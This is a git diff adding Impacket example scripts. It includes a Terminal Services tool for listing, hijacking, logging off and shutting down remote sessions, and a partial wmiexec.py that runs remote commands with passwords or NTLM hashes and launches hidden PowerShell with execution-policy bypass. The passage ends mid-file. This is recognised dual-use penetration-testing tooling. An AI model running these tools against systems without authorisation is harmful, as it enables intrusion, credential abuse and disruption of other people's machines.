logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + if options.domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if options.aesKey is None and options.nthash is None and options.keytab is None: + logging.error('You have to specify either aesKey, or nthash, or keytab') + sys.exit(1) + + if options.aesKey is not None and options.nthash is not None and options.request is False: + logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') + sys.exit(1) + + if options.request is True and options.user is None: + logging.error('-request parameter needs -user to be specified') + sys.exit(1) + + if options.request is True and options.hashes is None and options.password is None: + from getpass import getpass + password = getpass("Password:") + else: + password = options.password + + try: + executer = TICKETER(options.target, password, options.domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + print(str(e)) diff --git a/examples/tstool.py b/examples/tstool.py new file mode 100644 index 0000000..1ab2dbd --- /dev/null +++ b/examples/tstool.py @@ -0,0 +1,614 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Terminal Services manipulation tool. +# Initial idea was to provide similar functionality as the QWINSTA and other TS* windows commands: +# +# qwinsta: Display information about Remote Desktop Services sessions. +# tasklist: Display a list of currently running processes on the system. +# taskkill: Terminate tasks by process id (PID) or image name +# tscon: Attaches a user session to a remote desktop session +# tsdiscon: Disconnects a Remote Desktop Services session +# tslogoff: Signs-out a Remote Desktop Services session +# shutdown: Remote shutdown +# msg: Send a message to Remote Desktop Services session (MSGBOX) +# +# Author: +# Alexander Korznikov (@nopernik) +# +# Reference for: +# [MS-TSTS] +# + +import argparse +import codecs +import logging +import sys +from struct import unpack + +from impacket import version +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.smbconnection import SMBConnection +from impacket import LOG +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY + +from impacket.dcerpc.v5 import tsts as TSTS +import traceback + + +class TSHandler: + def __init__(self, username, password, domain, options): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__action = options.action.lower() + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + self.__smbConnection = None + self.__remoteOps = None + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self, remoteName, remoteHost): + self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) + + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def run(self, remoteName, remoteHost): + if self.__options.action == 'shutdown': + if not max([options.logoff, options.shutdown, options.reboot, options.poweroff]): + LOG.error('At least one flag is required: -logoff, -shutdown, -reboot or -poweroff') + exit(1) + + self.connect(remoteName, remoteHost) + getattr(self,'do_'+self.__action)() + + def get_session_list(self): + # Retreive session list + smb = self.__smbConnection + target_ip = self.__options.target_ip + with TSTS.TermSrvEnumeration(self.__smbConnection, self.__options.target_ip) as lsm: + handle = lsm.hRpcOpenEnum() + rsessions = lsm.hRpcGetEnumResult(handle, Level=1)['ppSessionEnumResult'] + lsm.hRpcCloseEnum(handle) + self.sessions = {} + for i in rsessions: + sess = i['SessionInfo']['SessionEnum_Level1'] + state = TSTS.enum2value(TSTS.WINSTATIONSTATECLASS, sess['State']).split('_')[-1] + self.sessions[sess['SessionId']] = { 'state' :state, + 'SessionName' :sess['Name'], + 'RemoteIp' :'', + 'ClientName' :'', + 'Username' :'', + 'Domain' :'', + 'Resolution' :'', + 'ClientTimeZone':'' + } + + def enumerate_sessions_config(self): + # Get session config one by one + smb = self.__smbConnection + target_ip = self.__options.target_ip + if len(self.sessions): + with TSTS.RCMPublic(self.__smbConnection, self.__options.target_ip) as termsrv: + for SessionId in self.sessions: + resp = termsrv.hRpcGetClientData(SessionId) + if resp is not None: + self.sessions[SessionId]['RemoteIp'] = resp['ppBuff']['ClientAddress'] + self.sessions[SessionId]['ClientName'] = resp['ppBuff']['ClientName'] + if len(resp['ppBuff']['UserName']) and not len(self.sessions[SessionId]['Username']): + self.sessions[SessionId]['Username'] = resp['ppBuff']['UserName'] + if len(resp['ppBuff']['Domain']) and not len(self.sessions[SessionId]['Domain']): + self.sessions[SessionId]['Domain'] = resp['ppBuff']['Domain'] + self.sessions[SessionId]['Resolution'] = '{}x{}'.format( + resp['ppBuff']['HRes'], + resp['ppBuff']['VRes'] + ) + self.sessions[SessionId]['ClientTimeZone'] = resp['ppBuff']['ClientTimeZone']['StandardName'] + + def enumerate_sessions_info(self): + # Get session info one by one + smb = self.__smbConnection + target_ip = self.__options.target_ip + if len(self.sessions): + with TSTS.TermSrvSession(self.__smbConnection, self.__options.target_ip) as TermSrvSession: + for SessionId in self.sessions.keys(): + sessdata = TermSrvSession.hRpcGetSessionInformationEx(SessionId) + sessflags = TSTS.enum2value(TSTS.SESSIONFLAGS, sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['SessionFlags']) + self.sessions[SessionId]['flags'] = sessflags + domain = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DomainName'] + if not len(self.sessions[SessionId]['Domain']) and len(domain): + self.sessions[SessionId]['Domain'] = domain + username = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['UserName'] + if not len(self.sessions[SessionId]['Username']) and len(username): + self.sessions[SessionId]['Username'] = username + self.sessions[SessionId]['ConnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['ConnectTime'] + self.sessions[SessionId]['DisconnectTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['DisconnectTime'] + self.sessions[SessionId]['LogonTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LogonTime'] + self.sessions[SessionId]['LastInputTime'] = sessdata['LSMSessionInfoExPtr']['LSM_SessionInfo_Level1']['LastInputTime'] + + def do_qwinsta(self): + options = self.__options + desktop_states = { + 'WTS_SESSIONSTATE_UNKNOWN': '', + 'WTS_SESSIONSTATE_LOCK' : 'Locked', + 'WTS_SESSIONSTATE_UNLOCK' : 'Unlocked', + } + self.get_session_list() + if not len(self.sessions): + print('No sessions found...') + return + self.enumerate_sessions_info() + if options.verbose: + self.enumerate_sessions_config() + + maxSessionNameLen = max([len(self.sessions[i]['SessionName'])+1 for i in self.sessions]) + maxSessionNameLen = maxSessionNameLen if len('SESSIONNAME') < maxSessionNameLen else len('SESSIONNAME')+1 + + # maxUsernameLen = max([len(self.sessions[i]['Username'])+1 for i in self.sessions]) + maxUsernameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 + + maxUsernameLen = maxUsernameLen if len('Username') < maxUsernameLen else len('Username')+1 + + + maxIdLen = max([len(str(i)) for i in self.sessions]) + maxIdLen = maxIdLen if len('ID') < maxIdLen else len('ID')+1 + + maxStateLen = max([len(self.sessions[i]['state'])+1 for i in self.sessions]) + maxStateLen = maxStateLen if len('STATE') < maxStateLen else len('STATE')+1 + + maxRemoteIp = max([len(self.sessions[i]['RemoteIp'])+1 for i in self.sessions]) + maxRemoteIp = maxRemoteIp if len('RemoteAddress') < maxRemoteIp else len('RemoteAddress')+1 + + maxClientName = max([len(self.sessions[i]['ClientName'])+1 for i in self.sessions]) + maxClientName = maxClientName if len('ClientName') < maxClientName else len('ClientName')+1 + + template = ('{SESSIONNAME: <%d} ' + '{USERNAME: <%d} ' + '{ID: <%d} ' + '{STATE: <%d} ' + '{DSTATE: <9} ' + '{CONNTIME: <20} ' + '{DISCTIME: <20} ') % (maxSessionNameLen, maxUsernameLen, maxIdLen, maxStateLen) + + template_verbose = ('{CLIENTNAME: <%d} ' + '{REMOTEIP: <%d} ' + '{RESOLUTION: <11} ' + '{TIMEZONE: <15}') % (maxClientName,maxRemoteIp) + + result = [] + header = template.format( + SESSIONNAME = 'SESSIONNAME', + USERNAME = 'USERNAME', + ID = 'ID', + STATE = 'STATE', + DSTATE = 'Desktop', + CONNTIME = 'ConnectTime', + DISCTIME = 'DisconnectTime', + ) + + header2 = template.replace(' <','=<').format( + SESSIONNAME = '', + USERNAME = '', + ID = '', + STATE = '', + DSTATE = '', + CONNTIME = '', + DISCTIME = '', + ) + + header_verbose = '' + header2_verbose = '' + if options.verbose: + header_verbose = template_verbose.format( + CLIENTNAME = 'ClientName', + REMOTEIP = 'RemoteAddress', + RESOLUTION = 'Resolution', + TIMEZONE = 'ClientTimeZone' + ) + header2_verbose = template_verbose.replace(' <','=<').format( + CLIENTNAME = '', + REMOTEIP = '', + RESOLUTION = '', + TIMEZONE = '' + ) + result.append(header+header_verbose) + result.append(header2+header2_verbose+'\n') + + for i in self.sessions: + connectTime = self.sessions[i]['ConnectTime'] + connectTime = connectTime.strftime(r'%Y/%m/%d %H:%M:%S') if connectTime.year > 1601 else 'None' + + disconnectTime = self.sessions[i]['DisconnectTime'] + disconnectTime = disconnectTime.strftime(r'%Y/%m/%d %H:%M:%S') if disconnectTime.year > 1601 else 'None' + userName = self.sessions[i]['Domain'] + '\\' + self.sessions[i]['Username'] if len(self.sessions[i]['Username']) else '' + + row = template.format( + SESSIONNAME = self.sessions[i]['SessionName'], + USERNAME = userName, + ID = i, + STATE = self.sessions[i]['state'], + DSTATE = desktop_states[self.sessions[i]['flags']], + CONNTIME = connectTime, + DISCTIME = disconnectTime, + ) + row_verbose = '' + if options.verbose: + row_verbose = template_verbose.format( + CLIENTNAME = self.sessions[i]['ClientName'], + REMOTEIP = self.sessions[i]['RemoteIp'], + RESOLUTION = self.sessions[i]['Resolution'], + TIMEZONE = self.sessions[i]['ClientTimeZone'] + ) + result.append(row+row_verbose) + + for row in result: + print(row) + + def do_tasklist(self): + options = self.__options + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + handle = legacy.hRpcWinStationOpenServer() + r = legacy.hRpcWinStationGetAllProcesses(handle) + if not len(r): + return None + maxImageNameLen = max([len(i['ImageName']) for i in r]) + maxSidLen = max([len(i['pSid']) for i in r]) + if options.verbose: + self.get_session_list() + self.enumerate_sessions_config() + maxUserNameLen = max([len(self.sessions[i]['Username']+self.sessions[i]['Domain'])+1 for i in self.sessions])+1 + if maxUserNameLen < 11: + maxUserNameLen = 11 + template = ('{imagename: <%d} ' + '{pid: <6} ' + '{sessid: <6} ' + '{sessionName: <16} ' + '{sessstate: <11} ' + '{sessionuser: <%d} ' + '{sid: <%d} ' + '{workingset: <12}') % (maxImageNameLen, maxUserNameLen, maxSidLen) + + print(template.format(imagename = 'Image Name', + pid = 'PID', + sessionName = 'SessName', + sessid = 'SessID', + sessionuser = 'SessUser', + sessstate = 'State', + sid = 'SID', + workingset = 'Mem Usage' + ) + ) + + print(template.replace(' <','=<').format(imagename = '', + pid = '', + sessionName = '', + sessid = '', + sessionuser = '', + sessstate = '', + sid = '', + workingset = '' + )+'\n' + ) + + for procInfo in r: + sessId = procInfo['SessionId'] + fullUserName = '' + if len(self.sessions[sessId]['Domain']): + fullUserName += self.sessions[sessId]['Domain'] + '\\' + if len(self.sessions[sessId]['Username']): + fullUserName += self.sessions[sessId]['Username'] + row = template.replace('{workingset: <12}','{workingset: >10,} K').format( + imagename = procInfo['ImageName'], + pid = procInfo['UniqueProcessId'], + sessionName = self.sessions[sessId]['SessionName'], + sessid = procInfo['SessionId'], + sessstate = self.sessions[sessId]['state'].replace('Disconnected','Disc'), + sid = procInfo['pSid'], + sessionuser = fullUserName, + workingset = procInfo['WorkingSetSize']//1000 + ) + print(row) + else: + template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) + print(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) + print(template.replace(': ',':=').format('','','','','')+'\n') + for procInfo in r: + row = template.format( + procInfo['ImageName'], + procInfo['UniqueProcessId'], + procInfo['SessionId'], + procInfo['pSid'], + '{:,} K'.format(procInfo['WorkingSetSize']//1000), + ) + print(row) + + + def do_taskkill(self): + options = self.__options + if options.pid is None and options.name is None: + LOG.error('One of the following is required: -pid, -name') + return + pidList = [] + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + handle = legacy.hRpcWinStationOpenServer() + if options.pid is None and options.name is not None: + r = legacy.hRpcWinStationGetAllProcesses(handle) + if not len(r): + LOG.error('Could not get process list') + return + pidList = [i['UniqueProcessId'] for i in r if i['ImageName'].lower() == options.name.lower()] + if not len(pidList): + LOG.error('Could not find %r in process list' % options.name) + return + else: + pidList = [options.pid] + + for pid in pidList: + print('Terminating PID: %d ...' % pid, end='') + try: + if legacy.hRpcWinStationTerminateProcess(handle, pid)['ErrorCode']: + print('OK') + else: + print('FAIL') + except Exception as e: + LOG.error('Error terminating pid: %d' % pid) + LOG.error(str(e)) + + def do_tscon(self): + options = self.__options + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + try: + session_handle = None + print('Connecting SessionID %d to %d ...' % (options.source, options.dest), end='') + try: + session_handle = TSSession.hRpcOpenSession(options.source) + except Exception as e: + print('FAIL') + if e.error_code == 0x80070002: + LOG.error('Could not find source SessionID: %d' % options.source) + else: + LOG.error(str(e)) + return + if TSSession.hRpcConnect(hSession = session_handle, + TargetSessionId = options.dest, + Password = options.password)['ErrorCode'] == 0: + print('OK') + else: + print('FAIL') + except Exception as e: + print('FAIL') + if e.error_code == 0x80070002: + LOG.error('Could not find destination SessionID: %d' % options.dest) + elif e.error_code == 0x8007139f: + LOG.error('Session in the invalid state. Did you mean %d -> %d?' % (options.dest, options.source)) + else: + LOG.error(str(e)) + + def do_tsdiscon(self): + options = self.__options + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + try: + print('Disconnecting SessionID: %d ...' % options.session, end='') + session_handle = TSSession.hRpcOpenSession(options.session) + if TSSession.hRpcDisconnect(session_handle)['ErrorCode'] == 0: + print('OK') + else: + print('FAIL') + except Exception as e: + print('FAIL') + if e.error_code == 1: + LOG.error('Maybe it is already disconnected?') + elif e.error_code == 0x80070002: + LOG.error('Could not find SessionID: %d' % options.session) + else: + LOG.error(str(e)) + + def do_logoff(self): + options = self.__options + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + try: + print('Signing-out SessionID: %d ...' % options.session, end='') + session_handle = TSSession.hRpcOpenSession(options.session) + + if TSSession.hRpcLogoff(session_handle)['ErrorCode'] == 0: + print('OK') + else: + print('FAIL') + except Exception as e: + if e.error_code == 0x10000000: + print('OK') + return + print('FAIL') + if e.error_code == 0x80070002: + LOG.error('Could not find SessionID: %d' % options.session) + else: + LOG.error(str(e)) + + def do_shutdown(self): + options = self.__options + with TSTS.LegacyAPI(self.__smbConnection, options.target_ip) as legacy: + handle = legacy.hRpcWinStationOpenServer() + flags = 0 + flagsList = [] + ShutdownFlags = [options.logoff, options.shutdown, options.reboot, options.poweroff] + for k,v in zip(ShutdownFlags, ['logoff', 'shutdown', 'reboot', 'poweroff']): + if k: + flagsList.append(v) + flagsList = '|'.join(flagsList) + for k,v in zip(ShutdownFlags, [1,2,4,8]): + if k: + flags |= v + try: + print('Sending shutdown (%s) event ...' % (flagsList), end='') + resp = legacy.hRpcWinStationShutdownSystem(handle, 0, flags) + if resp['ErrorCode']: + print('OK') + else: + resp.dump() + print('FAIL') + except Exception as e: + print('FAIL') + LOG.error(str(e)) + + + def do_msg(self): + options = self.__options + + with TSTS.TermSrvSession(self.__smbConnection, options.target_ip) as TSSession: + try: + print('Sending message to SessionID: %d ...' % options.session, end='') + session_handle = TSSession.hRpcOpenSession(options.session) + if TSSession.hRpcShowMessageBox(session_handle, options.title, options.message)['ErrorCode'] == 0: + print('OK') + else: + print('FAIL') + except Exception as e: + print('FAIL') + if e.error_code == 0x80070002: + LOG.error('Could not find SessionID: %d' % options.session) + else: + LOG.error(str(e)) + + +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + + parser = argparse.ArgumentParser(add_help=True, description="Terminal Services manipulation tool.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # qwinsta: Display information about Remote Desktop Services sessions. + qwinsta_parser = subparsers.add_parser('qwinsta', help='Display information about Remote Desktop Services sessions.') + qwinsta_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON') + + # tasklist: Display a list of currently running processes on the system. + tasklist_parser = subparsers.add_parser('tasklist', help='Display a list of currently running processes on the system.') + tasklist_parser.add_argument('-v', action='store_true', dest='verbose', help='Turn VERBOSE output ON') + + # taskkill: Terminate tasks by process id (PID) or image name + taskkill_parser = subparsers.add_parser('taskkill', help='Terminate tasks by process id (PID) or image name.') + taskkill_parser.add_argument('-pid', action='store', metavar="PID", type=int, help='Specifies process id (PID)') + taskkill_parser.add_argument('-name', action='store', help='Specifies process name (ImageName). Internally it will' + 'execute tasklist to retrieve PID by ImageName.') + + # tscon: Attaches a user session to a remote desktop session + tscon_parser = subparsers.add_parser('tscon', help='Attaches a user session to a remote desktop session.') + tscon_parser.add_argument('-source', action='store', metavar="SessionID", type=int, required=True, help='Source SessionId') + tscon_parser.add_argument('-dest', action='store', metavar="SessionID", type=int, required=True, help='Destination SessionId') + tscon_parser.add_argument('-password', action='store', type=str, required=False, help='Destination Session\'s password') + + # tsdiscon: Disconnects a Remote Desktop Services session + tsdiscon_parser = subparsers.add_parser('tsdiscon', help='Disconnects a Remote Desktop Services session.') + tsdiscon_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to disconnect') + + # logoff: Sign out a Remote Desktop Services session + logoff_parser = subparsers.add_parser('logoff', help='Sign out a Remote Desktop Services session.') + logoff_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='SessionId to sign out') + + # shutdown: Remote shutdown + shutdown_parser = subparsers.add_parser('shutdown', help='Remote shutdown, affects ALL sessions and logged-in users!', + description="Send Remote Shutdown event. Affects ALL sessions and logged-in users!") + shutdown_parser_group = shutdown_parser.add_argument_group('Shutdown Flags [Multiple Choice]') + + shutdown_parser_group.add_argument('-logoff', action='store_true', help='Forces sessions to logoff.') + shutdown_parser_group.add_argument('-shutdown', action='store_true', help='Shuts down the system.') + shutdown_parser_group.add_argument('-reboot', action='store_true', help='Reboots after shutdown.') + shutdown_parser_group.add_argument('-poweroff', action='store_true', help='Powers off after shutdown.') + + # msg: Send a message to Remote Desktop Services session (MSGBOX) + msg_parser = subparsers.add_parser('msg', help='Send a message to Remote Desktop Services session (MSGBOX).') + msg_parser.add_argument('-session', action='store', metavar="SessionID", type=int, required=True, help='Receiver SessionId') + msg_parser.add_argument('-title', action='store', metavar="'Your Title'", type=str, required=False, help='Title of the MessageBox [Optional]') + msg_parser.add_argument('-message', action='store', metavar="'Your Message'", type=str, required=True, help='Contents of the MessageBox') + + # Authentication options + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' + 'target parameters. If valid credentials cannot be found, it will use the ones specified ' + 'in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", + help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.action is None: + parser.print_help() + LOG.error('Too few arguments...') + sys.exit(1) + + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + tsHandler = TSHandler(username, password, domain, options) + try: + tsHandler.run(remoteName, options.target_ip) + except Exception as e: + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/wmiexec.py b/examples/wmiexec.py new file mode 100644 index 0000000..e9bda52 --- /dev/null +++ b/examples/wmiexec.py @@ -0,0 +1,473 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# A similar approach to smbexec but executing commands through WMI. +# Main advantage here is it runs under the user (has to be Admin) +# account, not SYSTEM, plus, it doesn't generate noisy messages +# in the event log that smbexec.py does when creating a service. +# Drawback is it needs DCOM, hence, I have to be able to access +# DCOM ports at the target machine. +# +# Author: +# beto (@agsolino) +# +# Reference for: +# DCOM +# + +from __future__ import division +from __future__ import print_function +import sys +import os +import cmd +import argparse +import time +import logging +import ntpath +from base64 import b64encode + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import version +from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 +from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dtypes import NULL +from impacket.krb5.keytab import Keytab +from six import PY2 + +OUTPUT_FILENAME = '__' + str(time.time()) +CODEC = sys.stdout.encoding + + +class WMIEXEC: + def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, + noOutput=False, doKerberos=False, kdcHost=None, shell_type=None): + self.__command = command + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = aesKey + self.__share = share + self.__noOutput = noOutput + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + self.__shell_type = shell_type + self.shell = None + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def run(self, addr, silentCommand=False): + if self.__noOutput is False and silentCommand is False: + smbConnection = SMBConnection(addr, addr) + if self.__doKerberos is False: + smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) + + dialect = smbConnection.getDialect() + if dialect == SMB_DIALECT: + logging.info("SMBv1 dialect used") + elif dialect == SMB2_DIALECT_002: + logging.info("SMBv2.0 dialect used") + elif dialect == SMB2_DIALECT_21: + logging.info("SMBv2.1 dialect used") + else: + logging.info("SMBv3.0 dialect used") + else: + smbConnection = None + + dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + try: + iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + win32Process, _ = iWbemServices.GetObject('Win32_Process') + + self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.__shell_type, silentCommand) + if self.__command != ' ': + self.shell.onecmd(self.__command) + else: + self.shell.cmdloop() + except (Exception, KeyboardInterrupt) as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + sys.stdout.flush() + sys.exit(1) + + if smbConnection is not None: + smbConnection.logoff() + dcom.disconnect() + + +class RemoteShell(cmd.Cmd): + def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + OUTPUT_FILENAME + self.__outputBuffer = str('') + self.__shell = 'cmd.exe /Q /c ' + self.__shell_type = shell_type + self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc ' + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__silentCommand = silentCommand + self.__pwd = str('C:\\') + self.__noOutput = False + self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + # If the user wants to just execute a command without cmd.exe, set raw command and set no output + if self.__silentCommand is True: + self.__shell = '' + + def do_shell(self, s): + os.system(s) + + def do_help(self, line): + print(""" + lcd {path} - changes the current local directory to {path} + exit - terminates the server process (and this session) + lput {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) + lget {file} - downloads pathname to the current local dir + ! {cmd} - executes a local shell cmd +""") + + def do_lcd(self, s): + if s == '': + print(os.getcwd()) + else: + try: + os.chdir(s) + except Exception as e: + logging.error(str(e)) + + def do_lget(self, src_path): + + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + fh = open(filename, 'wb') + logging.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1] + '$', tail, fh.write) + fh.close() + + except Exception as e: + logging.error(str(e)) + + if os.path.exists(filename): + os.remove(filename) + + def do_lput(self, s): + try: + params = s.split(' ') + if len(params) > 1: + src_path = params[0] + dst_path = params[1] + elif len(params) == 1: + src_path = params[0] + dst_path = '' + + src_file = os.path.basename(src_path) + fh = open(src_path, 'rb') + dst_path = dst_path.replace('/', '\\') + import ntpath + pathname = ntpath.join(ntpath.join(self.__pwd, dst_path), src_file) + drive, tail = ntpath.splitdrive(pathname) + logging.info("Uploading %s to %s" % (src_file, pathname)) + self.__transferClient.putFile(drive[:-1] + '$', tail, fh.read) + fh.close() + except Exception as e: + logging.critical(str(e)) + pass + + def do_exit(self, s): + return True + + def do_EOF(self, s): + print() + return self.do_exit(s) + + def emptyline(self): + return False + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + if PY2: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding))) + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + if self.__shell_type == 'powershell': + self.prompt = 'PS ' + self.prompt + ' ' + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(CODEC) + except UnicodeDecodeError: + logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(CODEC, errors='replace') + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile(self.__share, self.__output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + # Output not finished, let's wait + time.sleep(1) + pass + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting + logging.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data, shell_type='cmd'): + if shell_type == 'powershell': + data = '$ProgressPreference="SilentlyContinue";' + data + data = self.__pwsh + b64encode(data.encode('utf-16le')).decode() + + command = self.__shell + data + + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + if PY2: + self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None) + else: + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data, self.__shell_type) + print(self.__outputBuffer) + self.__outputBuffer = '' + + +class 